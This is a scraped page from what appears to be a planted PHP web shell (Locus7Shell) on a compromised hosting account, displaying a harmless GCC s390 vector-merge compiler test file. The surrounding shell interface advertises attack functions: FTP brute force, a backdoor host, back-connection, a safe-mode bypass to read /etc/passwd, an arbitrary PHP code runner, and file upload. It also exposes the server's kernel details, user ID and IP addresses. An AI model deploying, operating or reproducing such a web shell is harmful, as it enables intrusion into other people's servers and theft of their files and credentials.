Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/s390/vector/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     perm-merge.c (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do compile } */
/* { dg-options "-O3 -mzarch -march=z14 -mzvector --save-temps" } */
/* { dg-do run { target { s390_z14_hw } } } */

/* { dg-final { scan-assembler-times "\tvmrhb\t" 2 } } */
/* { dg-final { scan-assembler-times "\tvmrlb\t" 2 } } */
/* { dg-final { scan-assembler-times "\tvmrhh\t" 2 } } */
/* { dg-final { scan-assembler-times "\tvmrlh\t" 2 } } */
/* { dg-final { scan-assembler-times "\tvmrhf\t" 3 } } */
/* { dg-final { scan-assembler-times "\tvmrlf\t" 3 } } */
/* { dg-final { scan-assembler-times "\tvmrhg\t" 3 } } */
/* { dg-final { scan-assembler-times "\tvmrlg\t" 3 } } */

#include "vec-types.h"

#define GEN_MERGE_2(VEC_TYPE, HILO, A)            \
  VEC_TYPE __attribute__((noinline))            \
  merge_##HILO##_##VEC_TYPE(VEC_TYPE a, VEC_TYPE b) {    \
    return (VEC_TYPE){ a[0+A], b[0+A] }; }

#define GEN_MERGE_4(VEC_TYPE, HILO, A)                \
  VEC_TYPE __attribute__((noinline))                \
  merge_##HILO##_##VEC_TYPE(VEC_TYPE a, VEC_TYPE b) {        \
    return (VEC_TYPE){ a[0+A], b[0+A], a[1+A], b[1+A] }; }

#define GEN_MERGE_8(VEC_TYPE, HILO, A)                    \
  VEC_TYPE __attribute__((noinline))                    \
  merge_##HILO##_##VEC_TYPE(VEC_TYPE a, VEC_TYPE b) {            \
    return (VEC_TYPE){ a[0+A], b[0+A], a[1+A], b[1+A], a[2+A], b[2+A], a[3+A], b[3+A] }; }

#define GEN_MERGE_16(VEC_TYPE, HILO, A)                    \
  VEC_TYPE __attribute__((noinline))                    \
  merge_##HILO##_##VEC_TYPE(VEC_TYPE a, VEC_TYPE b) {            \
    return (VEC_TYPE){ a[0+A], b[0+A], a[1+A], b[1+A], a[2+A], b[2+A], a[3+A], b[3+A], \
      a[4+A], b[4+A], a[5+A], b[5+A], a[6+A], b[6+A], a[7+A], b[7+A]}; }


GEN_MERGE_16(v16qi, l, 8)
GEN_MERGE_16(v16qi, h, 0)
GEN_MERGE_16(uv16qi, l, 8)
GEN_MERGE_16(uv16qi, h, 0)

GEN_MERGE_8(v8hi, l, 4)
GEN_MERGE_8(v8hi, h, 0)
GEN_MERGE_8(uv8hi, l, 4)
GEN_MERGE_8(uv8hi, h, 0)

GEN_MERGE_4(v4si, l, 2)
GEN_MERGE_4(v4si, h, 0)
GEN_MERGE_4(uv4si, l, 2)
GEN_MERGE_4(uv4si, h, 0)

GEN_MERGE_4(v4sf, l, 2)
GEN_MERGE_4(v4sf, h, 0)

GEN_MERGE_2(v2di, l, 1)
GEN_MERGE_2(v2di, h, 0)
GEN_MERGE_2(uv2di, l, 1)
GEN_MERGE_2(uv2di, h, 0)

GEN_MERGE_2(v2df, l, 1)
GEN_MERGE_2(v2df, h, 0)


#define CHECK_MERGE_LO(VEC_TYPE, SRC1, SRC2)        \
  {                            \
    VEC_TYPE v = merge_l_##VEC_TYPE ((SRC1), (SRC2));    \
    int elts = sizeof(v) / sizeof(v[0]);        \
    for (int i = 0; i < elts; i++)            \
      if (v[i] != (i + elts) / 2 + (i % 2) * elts)    \
    __builtin_abort();                \
  }

#define CHECK_MERGE_HI(VEC_TYPE, SRC1, SRC2)        \
  {                            \
    VEC_TYPE v = merge_h_##VEC_TYPE ((SRC1), (SRC2));    \
    int elts = sizeof(v) / sizeof(v[0]);        \
    for (int i = 0; i < elts; i++)            \
      if (v[i] != i / 2 + (i % 2) * elts)        \
    __builtin_abort();                \
  }

#define CHECK_MERGE(VEC_TYPE)                        \
  {                                    \
    VEC_TYPE a = GEN_SEQ_VEC (VEC_TYPE, 0);                \
    VEC_TYPE b = GEN_SEQ_VEC (VEC_TYPE, sizeof(VEC_TYPE) / sizeof(a[0])); \
    CHECK_MERGE_LO (VEC_TYPE, a, b);                    \
    CHECK_MERGE_HI (VEC_TYPE, a, b);                    \
  }

int
main ()
{
  CHECK_MERGE(v16qi);
  CHECK_MERGE(uv16qi);
  CHECK_MERGE(v8hi);
  CHECK_MERGE(uv8hi);
  CHECK_MERGE(v4si);
  CHECK_MERGE(uv4si);
  CHECK_MERGE(v4sf);
  CHECK_MERGE(v2di);
  CHECK_MERGE(uv2di);
  CHECK_MERGE(v2df);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--